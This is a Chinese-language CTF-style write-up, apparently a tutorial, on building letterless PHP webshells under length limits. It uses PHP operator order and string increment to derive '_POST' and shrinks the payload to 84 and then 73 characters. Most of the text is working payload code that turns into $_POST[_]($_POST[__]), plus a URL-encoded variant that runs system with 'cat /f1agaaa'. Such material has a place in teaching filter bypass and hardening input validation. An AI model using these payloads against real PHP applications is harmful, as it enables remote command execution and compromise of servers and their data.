同样的,我们还是需要利用(_/_._)[_]获取到N,如果用A的话是绝对超出长度限制的

然后需要怎么样压缩长度呢?

这里就需要考虑到php的运算顺序了:

1
$b=$a.$a++;

输出的结果是什么呢?

利用一些在线工具测试一下:

1
2
3
4
5
6
<?php
$a='a';
$b = $a.$a++;
echo $b;
?>
//结果输出ba

所以我们能够猜测到运算的顺序了:

  • b先将后面的b先将后面的a拼接进去,变成$a.a
  • 然后a++ 此时$a变为b
  • 然后再将$a换成b

所以我们可以这样:

1
$__=$_.$_++; //假设此时$_=O 就能够一步生成PO

所以我们还能够缩短长度:

1
2
3
4
5
6
7
8
9
$_=(_/_._)[_];//同样也能获取N
++$_;//$_=O
$__=$_.$_++; //$__=PO, $_=P
++$_;//$_=Q
++$_;//$_=R
++$_;//$_=S
$__.=$_++.$_;//$__=POST $_=T
$_=_.$__;//$_=_POST
($$_[_])($$_[__]);//$_POST[_]($_POST[__])

此时的payload为:

1
$_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[__]);

其长度为84,刚好符合

73字符内构造:

还能更短么?

当然能:

其利用原理其实就是在最后一步构造时和前一步直接融合:

1
$_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);

此时$_在中括号内被构成:_POST

所以最后的shell其实是:

1
$_POST['_POST']($_POST['_']);

非常绝妙的构造方法,其长度恰好为73

还要另外一种办法就是urlencode,利用不可见字符的构造:

1
$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

参考资料: